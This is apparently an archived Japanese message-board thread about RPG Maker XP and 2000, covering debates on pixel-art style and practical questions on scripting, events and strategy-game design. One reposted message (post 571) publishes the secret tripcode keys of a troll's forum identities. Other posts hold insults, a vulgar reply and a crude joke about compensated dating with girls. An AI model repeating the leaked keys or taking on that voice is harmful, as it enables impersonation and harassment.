ツクールXP体験版をプレイしてみたけど、あの位の大きさじゃないと目がしぬ。
それにしてもXPは綺麗な画質だなぁ。問題は自分じゃそれ相応のグラフィック作れそうにないし
スペック高杉(?)。あと改めて思ったけど顔グラメーカーって凄いな。



452:名前は開発中のものです。
06/11/10 15:50:39 lXvBmwRw
相応のグラフィックって何?
ツクXPのRTPやFSMみたいなリアル風のドット絵のこと?
スーファミの頃のスクウェアのドット絵とか、そういうの好きな人は多いね

DSの「きみのためなら死ねる」とか、PSPの「ロコロコ」は良かった
リアル風なドット絵なんて無理に使う必要ない
解像度が上がればラクガキ風の2D絵を扱いやすくなる

453:名前は開発中のものです。
06/11/10 19:44:41 P1xMIhMh
…FSMがリアル風?

どのあたりが?

454:名前は開発中のものです。
06/11/10 19:49:43 onFvfVIR
FSMは前傾姿勢に見えるのが何とも

455:名前は開発中のものです。
06/11/10 20:09:28 IXwVoGMy
>>453
ゲームの世界に住んでる人にはリアルなんじゃね?

つっか、揚げ足取りだろそれ。
>ツクXPのRTPやFSMみたいなホゲホゲラ風のドット絵のこと?
>スーファミの頃のスクウェアのドット絵とか、そういうの
>ホゲホゲラ風なドット絵なんて無理に使う必要ない
別に「リアル風」ってのがどんな意味でも通じるぜ。

456:名前は開発中のものです。
06/11/10 20:16:02 lswWcXGp
>>448
これいいね。RPGツクールXPって、ネット接続対応したゲームも作れるのか。

457:名前は開発中のものです。
06/11/10 21:37:24 yQLR8Up0
おい、ツクール用のいい音楽サイト教えろ

458:名前は開発中のものです。
06/11/10 22:44:02 P1xMIhMh
あの丸々と太ったキャラクターがリアルとはお世辞にも言えないです

459:名前は開発中のものです。
06/11/10 22:53:53 5+8gsLTZ
キミもクドイね、他の人がフォロー入れてるのに、リアル風って言葉に語弊があるのは確かで
何処がリアル風かでなく語彙の使い方が間違ってるからって言えばいいだけだろ?

RTPより精度が高く細かいって事だろう特にマップチップの話だと思うぞ、あと恐らくRTPより
色使いコントラストなどには数段高いリアリティがあるのは確かだろう。
荘う行ったものが好きな人が多いようだが、彼はもうちょっと原色っぽかったり簡単だったりする
コミカルと言うかおもちゃっぽい感じのドット絵が好きと言うだけだろう。

彼の「無理して使う事は無い」って言う言い方もやや押し付けがましいのは確かだが。

460:名前は開発中のものです。
06/11/10 23:04:02 rEqC77cj
>>458
キャラセットしか頭に無い厨乙w

461:名前は開発中のものです。
06/11/10 23:07:23 IXwVoGMy
まー、たぶん452は凹凸や奥行きを表現してる絵を
「リアル風」って言ってるんだろね。
対照にきみしねやロコロコとか平面的な絵を持ってきてるところから考えると。

って風に相手の意図を読めないもんなのかね。

つか、ツッコミどころは別にあって、
ツクールのような2Dマップは奥行きアリが前提なんで、
(正面斜めからの見下ろしのデフォルメ)
奥行き表現ナシの平面な絵を使うとなると、
ちょっと考えなきゃイカン部分がでてくるんだけどな。

462:名前は開発中のものです。
06/11/10 23:16:39 B5nqwTR0
歩行キャラの角度がおかしい。
もう少し斜めっぽい角度でなければ、リアルとはいえない。

463:名前は開発中のものです。
06/11/10 23:19:41 IXwVoGMy
>>462
>452

464:名前は開発中のものです。
06/11/10 23:20:36 IXwVoGMy
あー、スレ番間違えた! >459だよ!
恥ずかし!

465:名前は開発中のものです。
06/11/10 23:51:40 P1xMIhMh
>>468
キャラセットはあくまでも例
チップセットも同様に童話チックだろ…

ツク厨は全て詳細に書かなけりゃわからないのかな


つかベジェ使ったCGを比較対象にされて納得できるお前の頭がどうかしてる

466:名前は開発中のものです。
06/11/11 00:05:23 iNqRF3CT
んで、リアルかどうかという話と元の話になんの関係が?

467:名前は開発中のものです。
06/11/11 00:06:48 Dz5zqUiL
FSMはツクール素材のドット絵のなかではリアル寄りだろ
FSM以上にリアル志向なドット絵のツクール素材もあるけど、さほどあるわけじゃないだろ

非リアル志向ってのは、このスレの
スレリンク(gameama板)l50
>>460
>>656
とか良い例だ

個人的にこういうの好きなんで他にもこのタイプの作品を知ってたら教えて欲しい


468:名前は開発中のものです。
06/11/11 00:10:59 Dz5zqUiL
>>466
話を>>451に戻すと、
画質が綺麗でそれ相応のグラフィックが作れないだなんて思わずに、
きみしねとかみたいな単純なタッチの絵でも十分見栄えがいいんだから、手軽に挑戦しよう
ってことだな


469:名前は開発中のものです。
06/11/11 00:13:52 iNqRF3CT
つまりリアルかどうかなんて関係ない、ってことだな。

470:名前は開発中のものです。
06/11/11 00:15:56 at/mcnK1
気に食わなきゃ自分は使わなきゃいい、
使ってる他人や他人がリアルに感じてるかを揶揄する必要も無いし、否定する必要も無い。
皆自分の意見に賛成するまでゴネ続けるのかいキミ達は?

471:名前は開発中のものです。
06/11/11 00:17:17 eyr/uaQC
君も落ち着いて自分のレス見てみろ。

472:名前は開発中のものです。
06/11/11 00:19:41 iNqRF3CT
>>470
誰に言ってんだ?

473:名前は開発中のものです。
06/11/11 00:20:29 Dz5zqUiL
話を戻したのに誰も戻ってこないでやんの
まあ話のネタは移るもんだし否定しないけど
というかまた別の話になってない?
気に食わなきゃ自分は使わなきゃいい、って何の話?

474:名前は開発中のものです。
06/11/11 00:24:27 iNqRF3CT
んじゃ、オレが戻す。

「単純なタッチの絵を使え」と言うけど、そっちの方が難しいと思う。
シンプルなものって、難しいものだよ逆に。
複雑なものの方が、言葉は悪いがごまかしが効く。

ただ、選択肢として見失ってないか、という意味では同意だ。
そっちの方に才能が向いてて、いわゆるゲーム的なドット絵なんて描けません、
という人もいるからねぇ。

475:名前は開発中のものです。
06/11/11 00:45:58 Dz5zqUiL
URLリンク(kjm.kir.jp)
俺が言うシンプルなのって正直こんな程度だよ
でもこんなんでも、
RTPやフリー素材使った作品が並んでるより、
こういう各自それぞれが下手でもいいから自作してる作品が並んでるほうが絶対楽しいでしょ
スクショ見て回るだけでもかなり面白いと思うんだよね


476:名前は開発中のものです。
06/11/11 00:51:01 iNqRF3CT
>>475
それが見栄えいいかと言われると、どーかしら?
それが活きてくるように使われてるかどうかがわからんからね。

絶対楽しい、なんてことは少なくともないな。
否定はせんけど、個人的感覚を一般論にしすぎ。絶対て。

477:名前は開発中のものです。
06/11/11 00:56:45 Dz5zqUiL
見苦しいけど言い訳すると
例として数秒で書きなぐった絵であって、実際はもっと手をかけるよ
(個人的には数秒で書きなぐる程度でも十分だと思ってるけど)


478:名前は開発中のものです。
06/11/11 00:59:17 iNqRF3CT
>>477
えーっと、それそのものの出来の話はしてねーんだけど?

479:名前は開発中のものです。
06/11/11 01:05:45 eyr/uaQC
もういいよ。なんでおまいらそんな事で必死になってんだよ。
子供はもう寝ろ。

480:名前は開発中のものです。
06/11/11 01:09:14 iNqRF3CT
>>479
普通に会話を楽しんでるだけだが?

俺たち必死か?>ID:Dz5zqUiL

481:名前は開発中のものです。
06/11/11 01:13:11 Dz5zqUiL
見栄えがいいかと聞かれたら正直返答に詰まるな・・・
でも色んなのがあったほうがいいっしょ
ラクガキから実写風まで、幅広く

複雑なものよりも更に難易度が高い「シンプルな絵」でもいいけどさ
すっげえ簡単な「シンプルな絵」もアリでしょ

482:名前は開発中のものです。
06/11/11 01:20:50 Dz5zqUiL
必死になってるつもりはなかったけど
冷静に見返すと、なんか自分が「ラクガキしか描けないけどそれはそれで素晴らしいことなんだよ!」みたいな自己擁護してるようだ・・・
そういうわけじゃないんだよ・・・ほんと
サンプル素材とかフリー素材とか市販の2Dゲーに惑わされずに色んな表現しようよってことね

483:名前は開発中のものです。
06/11/11 01:21:58 6cXhcDKw
XPが出て、そういういろんな画風っていっぱい出てくるかなぁと思ったけど。

前に実写取り込んでキャラチップにしてる人いたよね。出来が良い、面白いは別として、もっといろんなチャレンジ見たいよね。
RTPは飽きる!自作したらレベル低くなる!と嘆くぐらいなら。

ってお話をされてるんですよな?

484:名前は開発中のものです。
06/11/11 01:38:12 at/mcnK1
>>475
そのあたりの妥協の仕方は大まかに2通りの意見を良く聞くよ。
下手でも自作オリジナルの方が良い、これは製作者に多い意見でプレイヤーでも作ることに
少なからず興味のあるような人間ややや変わった作品が好きな人に多い意見。
逆に下手な絵を並べるくらいならRTPやFSMの方が見栄えがするし絵を見るためのゲームじゃない、
絵を見せることも念頭なら尚更下手じゃ意味が無い、いっそのこと顔グラなんかも廃止して
見た目は極力シンプルにして内容で勝負した方が良いって意見も結構聞く。

自分がどっちだと思うかは自由だがそれを啓蒙してあるく必要は無いし、
定番素材がいやなら、落書きや雑音のような素材でも全部自作して作れば良い、
世の中にいろんな話を作りたい人間がいて、落書きよりは定番素材の方が自分の話の
テーマにそう人が多いのも事実だ、シリアスな話にそんな絵は使えないだろ?

485:名前は開発中のものです。
06/11/11 01:59:35 iNqRF3CT
>>482
やあ「ラクガキしか書けないけどそれはそれで素晴らしい」ってのはその通りでしょ。
それは、それが十分に見栄えがいい、からではないし、
人が認めてくれるかどうかもわからないけれども。

486:名前は開発中のものです。
06/11/11 02:09:45 at/mcnK1
「素晴らしい」なんていう主観の押し付けは非常に素晴らしくないですね。

487:名前は開発中のものです。
06/11/11 02:19:06 iNqRF3CT
>>486
そうだけど、誰か押しつけてる?

488:名前は開発中のものです。
06/11/11 02:26:09 at/mcnK1
うん、少なくとも「そのとおりでしょう」は啓蒙だね。

489:名前は開発中のものです。
06/11/11 02:30:28 iNqRF3CT
そっかな? そんなつもりないよ?
つーか啓蒙が押しつけだなんて初めて知った。

490:名前は開発中のものです。
06/11/11 02:40:19 at/mcnK1
啓蒙は教えをこうてるわけでもない人に思想を刷り込もうとする行為だから
完全に考え方の押し付けだよ。

491:名前は開発中のものです。
06/11/11 06:03:14 yjFbSlNv
必死な連中ばっかだなw
そんなに顔を真っ赤にして、恥ずかしくないのかよwww

492:名前は開発中のものです。
06/11/11 06:33:43 Y2ydN8xB
>>480
 >普通に会話を楽しんでるだけだが?

楽しみたいなら他所でやれ
お前らのオナニーでスレ消費するな、まじでウザイ
タナと同じで人の迷惑を気にしてねーんだろ

493:名前は開発中のものです。
06/11/11 08:02:09 qQ8FHke7
所でRTPに塗りが近い感じで完成度の高いマップチップってどんなの在るんだろ?

FSMの様なSFC時代のFFみたいな質感より、むしろFC時代のDQ、FFっぽい
如何にもドッド絵な方がツクってますって気がして個人的にはいいんだけど

RTPでざっとひな型作ってからFSMでリファインすると↑の思いによく駆られる

494:名前は開発中のものです。
06/11/11 11:01:43 ofkDNEY4
>>475
よくわかんないけど、前にものすごーくショボイ自作絵だろうものを
使ってるゲームみたことあるけど、
ぶっちゃけその絵でゲームが台無しになってた

ショボイ自作絵使うくらいなら
使わないでゲームとして成立する方法を考えたほうがいいとおもう

495:名前は開発中のものです。
06/11/11 13:16:36 2s3H2v2U
基本はデフォ素材やフリー素材だけど、顔グラや一部敵キャラだけ下手な自作とかだと萎える
全部自作なら、例え下手でも良い味出ていて良い

496:名前は開発中のものです。
06/11/11 13:29:06 QnmhW71f
>>492
> タナと同じで人の迷惑を気にしてねーんだろ
どうしてわざわざゴミの話題を出すのかね。
というか、妙に呼び方に親しみが篭っているようだが、
ひょっとして自演ですか?www

497:名前は開発中のものです。
06/11/11 13:59:34 3ZOhgJVy
>>496
お前がゴミと同程度だかじゃね?


498:名前は開発中のものです。
06/11/11 14:40:00 at/mcnK1
>>493
今FCのDQとか見ると愕然とするよけどね、RTPなんかに比べてあまりのチャチで
色数が足りないからDQ4でさえ肌が白だし、キャラがったった4色だからな。
256色をチップごとに自由に使える環境だとFC風は逆に素材作りに手間が掛かる。
URLリンク(kazato.run.buttobi.net)
RTPキャラって色が明るくてだけで精度自体はそんなにFSMと変わらないんだよな
後はキャラの格好のデザインの問題で軽めに見えるけど。

499:名前は開発中のものです。
06/11/11 16:01:18 tE11ECvM
>>498
つか、ツールを扱えないヤツは、どんな絵を描こうが手間がかかるけどなw


500:名前は開発中のものです。
06/11/11 16:22:12 at/mcnK1
はぁ?ツール扱えなきゃいくら手間かけてもPCで絵なんか描けないが?

501:451
06/11/11 16:53:34 N8lsG5CL
俺のせいで荒れてるようで申し訳ない・・・


502:名前は開発中のものです。
06/11/11 19:36:18 2s3H2v2U
荒れた原因は451でないから謝る必要は無い
そんなことよりも、君のレスに対して、いくつか意見が出ているけど
今後も「それ相応のグラフィックは作れません」というスタンスを貫くのか?
それ相応のグラフィックというのがどんなものなのか知らんけど

503:名前は開発中のものです。
06/11/11 20:20:16 aPpXUpSh
援交少女くらい

504:名前は開発中のものです。
06/11/11 21:03:16 at/mcnK1
やっぱりXP解像度で難しいのってタイルセットやマップチップあたりの素材かね?


505:451
06/11/11 21:31:16 N8lsG5CL
>>502
いつまで経っても、なっとくのいくグラフィックは出来ない・・・とでも言おうか。
まぁなっとくしたら進歩なんて無いわけだが


506:名前は開発中のものですが
06/11/11 22:37:24 7RO3tGK9

RPG2000で じゃなくて、
2D格闘ゲームツクールで ドラゴンクエスト対戦格闘(?)みたいなゲームを
工作中です。
というか、すでにそんなゲームあるんですか?
検索してもでてこなかったんですが・・・。



507:451
06/11/11 22:45:42 N8lsG5CL
>>506
それってM.U.G.E.NかKFAじゃね?
前者がキャラ多すぎ自作は少しムズそう・後者はキャラ作りは楽、だが少しマイナー
2D格闘ゲームツクールは、さすがにスルー・・・

508:名前は開発中のものです。
06/11/11 22:47:10 2s3H2v2U
>>505
納得と相応は違うだろ・・・

509:451
06/11/12 00:15:28 9VfFGmC6
>>508
ヘタにレスつけると荒れそうだから、とりあえず書いただけだ・・・
聞かれたのにレスしないわけにも、いかないしな。察してくれ・・・

510:名前は開発中のものです。
06/11/12 00:35:17 gBxaaHYn
>>509
どの種類の素材をどの程度の出来栄えで作っていて、
どんな感じになれば納得なのか判らないとなんともいえないね。

ああだこうだ言い合ってモノがないんでは「これだけ出来れば十分じゃないか?」とか
「たしかにもうちょっと頑張れ」とかそういう判断すらわからないからね。

511:名前は開発中のものです。
06/11/12 02:22:55 ZANsEzDV
なんか微妙な間にスレが流れてるな
>>451の人気に嫉妬
>>510
別に451のレスを見る限り、評価してくれだの、見てくれだの書いてない希ガス
むしろ>>451のレスは完結してるのに無駄に内容を引っ張ってないか?w

512:名前は開発中のものです。
06/11/12 05:27:45 hVCI3xFo
すいません質問です。
RPGツクール2000なんですけど
「キャラクターの動作指定」で右に移動を選んでも右に向くことしかしません。
その次に[指定動作の全実行]を選ぶとその後のすべてのイベントが実行されずに
フリーズします。この症状を直すにはどうすればよろしいでしょうか?


513:名前は開発中のものです。
06/11/12 09:48:17 Ag75e47Y
右側のチップが移動不可なんでしょう。

514:名前は開発中のものです。
06/11/12 09:59:05 SOjOWLe6
RPGツクール95でセーブデータを改造するツールって何を使えば良いですか
出来ればフリーのが欲しいです

515:名前は開発中のものです。
06/11/12 10:00:26 VXfXmVCi
バイナリエディタ

516:名前は開発中のものです。
06/11/12 10:18:16 Ag75e47Y
325 名前:名前は開発中のものです。[] 投稿日:2006/10/29(日) 00:14:11 ID:rdWhChFH
質問です。
RPGツクール95のセーブデータ改造するツールって存在するのでしょうか?

347 名前:名前は開発中のものです。[] 投稿日:2006/10/31(火) 14:04:22 ID:sRWkiZ3T
質問です。
RPGツクール95のセーブデータ改造するツールって存在するのでしょうか?

する?、しない? どっち?

するのなら名前を教えて欲しい(ググっても見つからなかった)。

517:名前は開発中のものです。
06/11/13 01:04:00 14xwJZ+v
>>514
ツクール95使って操作できるイベントを自分で組めば出来る、フリーのものは無いと思う。

518:タナ栗粉
06/11/13 20:02:31 AvWwNtaw
すいませんスクリプトシェルフの
特殊効果詰め合せActon EXの取得画面のところでダメージのアニメが表示されてから消えるまでの早さを
「戦闘速度調整」で変更可能とのことだけどそれってどこのこと?教えてください

519:名前は開発中のものです。
06/11/13 20:54:20 ZGpjHmmK
なにか進んでるなと思ったらw

まあたまには雑談もいいんじゃね。
別にツクールや製作から外れた話をしてるわけじゃなし。

520:名前は開発中のものです。
06/11/13 22:10:13 05mT+qjQ
このスレのまとめwikiはどちらでしょうか?

521:名前は開発中のものです。
06/11/13 23:13:42 a9r/aRAb
>>520
お前が作れ

522:名前は開発中のものです。
06/11/14 02:26:52 0tSOXyTl
RPGツクールでRPGツクールを作れるか・・・妙な夢を見た、寝る

523:名前は開発中のものです。
06/11/15 18:41:49 zfVLKacD
xp使いに聞きたいんだけど、スクリプト弄ったら
大戦略みたいなHEX戦(擬似HEXでも可。)を作れる気がする?
必死でHEXエディタと簡単なマス目移動まで作ったんだけど、
途中で構想が大きくなり戦略画面やRPGみたいな操作をする場面も
作りたくなって、もうツクールに頼りたくなった。
できればマウスが使えるといいんだがそこまで贅沢は言わない。
xpとスクリプトの関係や詳しい仕様が調べられれば一番いいんだけど、
とりあえず使い倒してる方の見解を聞きたい。

524:名前は開発中のものです。
06/11/15 19:32:58 PKsjW+bs
>>523
6角形描くくらいなら、正方形を半分づつづらして配置した方が早いし、効果は同じじゃないか?

525:名前は開発中のものです。
06/11/15 20:08:05 gU8Vo/MN
ドラクエ6式の転職のランク付けのスクリプトはどうすれば良いのか。
<戦士、武闘家極めてバトルマスターみたいな>

教えて頂きたい。

XPで

526:名前は開発中のものです。
06/11/15 20:22:50 zfVLKacD
>>524
お、レスどうも!
仰るとおり、擬似HEXでいいやって感じです。
俺は上記の理由でツクールを触り始めたんですが、中古で安く買った2000と
ペイントで四角い枠を書いてキャラ作ってやろうとするとどうも上手くいかない。
まず、見た目半歩ずらしのマップを作っても動かしたカーソルがチップにマッチ
させる現実的な方法がわかりません。
俺の努力不足かも知れませんが、戦争場面はなるべくツクール標準の
RPG操作系の応用じゃなくて、もっとキチッと無理なく作りたいんですよ。
ツクールのマップありきじゃなくて、オリジナルな描画処理でやりたい。
メニューとかリストとかも。(なんか伝わりずらいかもしれませんが...)
RPG部分についてはこれからプログラムするの大変だし、
俺がやりたいことはツクール2000でも十分過ぎるほど実現できそうなので
xpのスクリプト機能で擬似HEX戦争(昔の信長の野望みたいな)が作れそうなら
明日からでもGOサインなんですが、皆さんいかがなものでしょう?

527:526
06/11/15 20:41:49 zfVLKacD
連投スマソ。
いい感じのところを見つけたんで、自分で調べてみます。
既に実験を進めてる方や、経験から大体想像できるという方がいたら
ご意見待ってます。
XPは値段が高いので、とりあえず買っちまうという勇気がなくて
ごめんなさいorz。では。

528:タナ栗粉
06/11/15 20:43:39 TaCaWY1f
おい早く教えて

529:名前は開発中のものです。
06/11/15 21:07:46 TLJG+pB4
2000でプレイ時間をカウントしたいんだけど、
コモンでウェイト0.1秒→変数加算、の方法しかないのかな。
PCのスペックによって時間がずれたりしないかね。

530:名前は開発中のものです。
06/11/15 21:32:38 iznhMXNi
>>529
当然するけど2000ならしょうがない

531:名前は開発中のものです。
06/11/15 21:35:10 iznhMXNi
>>518
戦闘速度調整で検索すればいいよ
スクリプトエディタで

532:526
06/11/15 22:50:05 zfVLKacD
xp作品やってみましたが、すばらしい。
細かい座標指定で絵をグリグリ操作できる時点で感動。
おそらく相当作りこんでるんじゃないかと思いますが、
RPGもこなすエンジンを自前で開発してSLGを作るより、
XPで頑張ったほうが遥かに現実的な気がしてきました。
これからアマゾンに注文します。
最終形のイメージとしては大戦略WorldWarⅡをベースに
三国志風の戦略要素と馴染みのある2DRPG要素、できればTTO風の
イベントシーンをプラスした俺専用の超絶オナニー作品です。
将棋やチェスゲームを作ってるうちに思い立った俺の夢。
死ぬまでにこれだけは遺したい。

533:名前は開発中のものです。
06/11/15 23:13:57 ZmefEF48
>>532
無理の出なくてやる気を失わない程度にちびちび頑張ってくれ。
話だけ聞くとかなり大物になりそうだから小さな目標立てて部分部分でこつこつやるのが肝要だろう。
かく言う俺も色々設定加えたwizまがいを作ろうとしてぼちぼちやってるが、普通に1年以上経ってるからな。
部品は大方作ったが組み合わせるのがまた面倒でね、一番のネックはグラフィックな訳だがorz
大物ほど地道にやるのが一番だ、頑張ってくれ。

534:名前は開発中のものです。
06/11/15 23:20:53 PWhDyJZz
>>532
エンジン作るより、って話で調べてみたんならわかると思うが、
ツクールXPのRGSSは、スクリプト言語+ゲーム用ライブラリ=ゲームエンジンだよ。
つまり、機能的には余裕。

535:526
06/11/16 00:18:57 jwnnpw9g
>>533
応援ありがとう。
まずは本当にやりたい事、出来そうなことを吟味整理して、
部分的な実験を繰り返していきます。
言語仕様は別に書籍を購入したほうがいいかな。
うへぇ、大変だろうなぁw
ライフワークと思ってコツコツ頑張りますよ。

>>534
恥ずかしながら、ここまでツクールが進化してるとは思いませんでした。
ゲーム開発用IDEの域に足を踏み入れてますよね。
とりあえずのサンプルとしてRPGを入れてありますみたいな。
まあスクリプトである以上なんでもかんでも思い通りにとは
いかないかもしれませんが、俺が求めている表現レベルなら
仰るとおり十分可能だと思います。

536:名前は開発中のものです。
06/11/16 10:17:27 gT9FRAT8
TTOって何だ?

537:名前は開発中のものです。
06/11/16 10:28:02 droEnjO4
敵対的買収だよ

538:タナ栗粉
06/11/16 12:29:14 6qe1z86r
>>531ありがと 
大好きだよ(*^_^*)

539:名前は開発中のものです。
06/11/16 14:15:37 IrzBeemC
2000で脱出的なイベントを作る時デフォ戦だと戦闘になると音楽変わるんだけどマップ移動時の音楽を流しっぱなしにできんもんかな?

540:名前は開発中のものです。
06/11/16 14:54:31 droEnjO4
>>539
システムBGMの戦闘のBGMをマップ移動時と同じものにすればいいはず。
終わったらまた元に戻す。

541:名前は開発中のものです。
06/11/16 18:24:29 MwQTgTAZ
2000.
最初真っ黒なマップで、
歩いたところだけ明るくなっていく(見えるようになっていく)感じにするにはどうすればいいでしょうか。

とりあえず、マップの全てのマスに全部真っ黒のイベントを配置して、
主人公と重なったらその重なったとこのイベントを消していくって方法は思いつくけど、
他に効率いい方法あったらお願いします。

542:名前は開発中のものです。
06/11/16 19:50:14 wWDPgEjq
それだけ分かってるならやれば良いじゃないかwww

543:名前は開発中のものです。
06/11/16 20:27:48 6qe1z86r
>>531検索してもでてこない つうかスクリプトエディタで検索なんて項目ないし
もちっと詳しくおねがい

544:名前は開発中のものです。
06/11/16 22:47:31 1OIhdeXK
>>541
真ん中だけ透過した黒いピクチャを動かせば良いんじゃね?と適当に言ってみる。


545:名前は開発中のものです。
06/11/16 23:07:24 rXc0lXZC
またゴミが紛れ込んでるな。

546:名前は開発中のものです。
06/11/16 23:21:31 1OIhdeXK
>>544
俺かよorz

547:名前は開発中のものです。
06/11/17 02:53:33 hCFRM2bY
>>543
ヘルプぐらい熟読することをお勧めする。
あるいは、ヘルプで「検索」って語を検索してみるとか。

548:タナ栗粉
06/11/17 08:34:44 vIuvr7mJ
そんな長文書けるんなら教えるくらいわけないよな?早くして

549:名前は開発中のものです。
06/11/17 09:30:24 RA8qht5K
タナきたぁあ
久々に覗いてみるもんだ

550:名前は開発中のものです。
06/11/17 10:19:24 qo2yZHy2
タナ自体は特に相手にしなきゃ良いし、それにたいしてマジメに答えてる奴も構わんのだが
>549みたいなのが多くなるとスレが機能しなくなって困るんだよな。


551:名前は開発中のものです。
06/11/17 10:21:41 jyeVWJcb
お前は何なんだよ。

552:名前は開発中のものです。
06/11/17 11:15:00 BdCahM7X
うぉぉぉぉぉぉ!!!パソコンが起動しねぇぇぇぇ!!壊れちまったぁぁぁぁぁぁぁぁぁ!!あぁ・・今までの努力がぁぁ・・orz

553:名前は開発中のものです。
06/11/17 11:19:26 JKMYQxni
>>549-550
はいはい、さっさと消えろ

554:タナ栗粉
06/11/17 11:25:47 vIuvr7mJ
喧嘩すんなよ

555:名前は開発中のものです。
06/11/17 11:28:59 RA8qht5K
ワロタw

556:タナ栗粉
06/11/17 13:27:07 vIuvr7mJ
つうか喧嘩してる暇あったらとっとと俺に協力して完成を助けた方が有意義だろ?
なにしろ俺はツクールの歴史を変えるかもしれない男だからな

557:名前は開発中のものです。
06/11/17 13:56:55 Qtt1rB88
>>556
518の件ならこれじゃないの?ちょっとはサイト内を探したら?
URLリンク(scriptshelf.jpn.org)
ツクールも触ったこと無いしマカーだから間違っててもしらないけど。

558:タナ栗粉
06/11/17 14:23:15 vIuvr7mJ
ああーこれだのったのかあ ありがとう これできみは伝説の一端をになったことになる よろこんでいいよ

559:名前は開発中のものです。
06/11/17 15:11:39 RA8qht5K
>>557
もうちょっと焦らせよ

560:名前は開発中のものです。
06/11/17 16:46:28 OL5fHyZA
ふと思い出したがRPGツクールみたいにRPG作るゲームって他にあったな。
斜め視点から見るヤツだったような。ネット販売しかしてなかったっけな。
なんて言ったっけなぁあれ。

561:名前は開発中のものです。
06/11/17 19:10:44 JVA1N51H
TCGが作りたいんだが、、、、

562:名前は開発中のものです。
06/11/17 20:58:37 vIuvr7mJ
誰か歯車の城を愛用してるやついる?

563:名前は開発中のものです。
06/11/18 00:59:21 OxofPqnQ
>>560
それは忘れたがフリーのQueek IIもおススメ。
ツクールやり始めたに気づいたから、触り程度しか試してないが

564:名前は開発中のものです。
06/11/18 02:03:09 llFIGetl
XPで飛行船実用化マダー?

565:名前は開発中のものです。
06/11/18 06:35:49 lVNws9xg
>>560
3D RPGエディター Part2
スレリンク(gameama板)

566:名前は開発中のものです。
06/11/18 09:27:25 agAUAVLf
>>565
そうそれだ!

567:タナ栗粉
06/11/18 13:32:55 7lfufh7z
おい、XPでワールドマップ作ろうとしても端っこカクカクなワールドマップしかつくれないじゃん
ちゃんとワールドマップみたいにするにはどうすればいい?

568:名前は開発中のものです。
06/11/18 13:39:03 EVGHg8q4
カクカクでない、滑らかなフチのマップグラフィックを自分で描くしかないだろうな

569:タナ栗粉
06/11/18 14:03:32 7lfufh7z
なんかいい素材ない?

570:ダイア ◆Q.9/UGZBPY
06/11/18 14:08:44 on1GePSo
このへんがおすすめ^^


美茶乱会
水冠
なにもない空

571:名前は開発中のものです。
06/11/18 14:24:34 9p/dgTND
370 名前: ダイア ◆Q.9/UGZBPY [sage] 投稿日: 2006/11/18(土) 14:13:17 ID:???
シェイラルド#銀槍様
omoti#homoti
これで満足かね

378 名前: ダイア ◆Q.9/UGZBPY [sage] 投稿日: 2006/11/18(土) 14:17:47 ID:???
今まで散々荒らした捨てコテのトリを公開する瞬間ほど楽しいものもなかろうw

381 名前: ダイア ◆Q.9/UGZBPY [sage] 投稿日: 2006/11/18(土) 14:20:24 ID:???
最後にダイアのトリを晒して終わるでござる^^

ダイア#日記帳★

ツクスレを潰せて拙者の復讐も天地終焉剣でござるな^^w

572:名前は開発中のものです。
06/11/18 14:31:35 NU6f16bR
>>571
まんこ^^

573:526
06/11/18 15:28:32 bNGGOAs1
昨日XPが届いた。
朝からスクリプト貪って全体のスキームを図に起こしてみたが
すばらしい。
特に俺には十分なキーボードや画像の入出力機能と
イベントインタプリタが手に入ったのは嬉しい。
もうこれだけで買った甲斐があった。
ただ惜しくらむはオリジナルDBを設計して出力する
機能がないこと。
これをツクールのスクリプトでツクるのは大変だし、
無理やり拵えても、多分操作性が悪すぎる。
HEXマップは既にある自作エディタで、それ以外で必要な
DBエディタはExcelかAccessで作るしかないな。
ツクールのDBをSLGに流用するのは辛いからな。

574:名前は開発中のものです。
06/11/18 16:46:00 AU1GXAkj
SQLiteマンセー

575:名前は開発中のものです。
06/11/18 16:52:01 9+YY/qfD
>>573
イマイチ何がしたいかはっきりとわからないが、SQLite当たりの方がよくないか?


576:名前は開発中のものです。
06/11/18 18:10:36 3SP29q3J
あるイベントのグラフィックを下向きのrightと設定して
このイベントをキャラクターの動作指定をつかって
上向きの(どっち向きでもいい行けど)leftにするのは可能ですか?

上向きの真ん中しか無理?

577:名前は開発中のものです。
06/11/18 21:18:06 agAUAVLf
なんのこっちゃ

578:名前は開発中のものです。
06/11/18 21:51:59 juBodgz+
右側のコマとか左側のコマとかのことじゃね

579:名前は開発中のものです。
06/11/18 22:57:20 S4X8UvI6
>>573
ヘックスに拘ってるけど市街マップとかだとかえって不自然になるんだよね。
ルールがそれように四角マスでも十分出来ると思うしマウス操作でない場合
ヘックスは非常にストレスになるよ。
そのままデフォの素材とマップエディタが使えることも含めて四角マスの方が
メリットも大きいから何かヘックスを使う事に意図が無いならそちらも考えてみては?

何はともあれSLGって言うのは物凄く期待してるんで、頑張ってください。

580:名前は開発中のものです。
06/11/18 22:58:15 hRIR7PGq
>>573
どんなモノを求めているのか、いまいちわからん。
Marshal.dumpしたファイル(RGSSのload_data関数で読めるもの)なんかを
直接生成するデータエディタが欲しいなら、Rubyで作ればいいんじゃね?
直接でなくてもいいなら、Excelから変換するスクリプト書けばいいんじゃね?
CSVを読み込んでパースするなんて簡単だし、RubyからExcelを操作もできるし。
その逆はどうだかしらんが。
テキストでデータ書くのでよければ、YAMLなんかも使えるし。

ツクールXPにその機能がついてる必要は、なさげ。
すでにあるものを利用した方が便利だと思われ。
まあ、デフォのデータの項目足りないけどな。

581:526
06/11/19 02:43:59 i4c0N3Gy
>>579
確かにマウスを使わない以上、操作性を考えるとそっちのほうが
圧倒的にやり易いよね。その辺まったく考えてなかったorz。
要するに、マップ作成自体は付属のエディタで見た目
半歩ずらしのマップを作ればいいだけの話で、
さっさと肝心なカーソルやユニットの移動処理に心血を注ぐ
方が建設的ではないかってことですよね?
アドバイスありがとうございます。HEXに拘っていたのは大戦略への
憧れというか、それだけですorz。拠点の防衛戦は是が非でも
盛り込みたいと思ってますので、やっぱ四角にします。
チップのサイズは32だと小さすぎるかな?

>>580
伝わりずらくてごめん。
えっとですね、要するに自前で設計したデータを生成する
GUI環境がほしいってことなんですよ。
机上のデータ設計どおりに、初期値データファイルを生成する
スクリプト書いて何回も流せばいいんですが、それだとテスト時
の効率が悪すぎますよね。ツクール組み込みのDB(アクター他)であれば、
データベースウィンドウを開いてちょちょいと値や画像を変えながら
ガンガン試験できますが、これを戦略データや兵器データに見立てて
流用するにはちょっと辛いんですよね。

582:名前は開発中のものです。
06/11/19 05:26:22 Ua8Nv42C
>>581
実際ヘックスを使ったゲームは十字キーで非常にカーソルが動かしにくかった記憶がある。
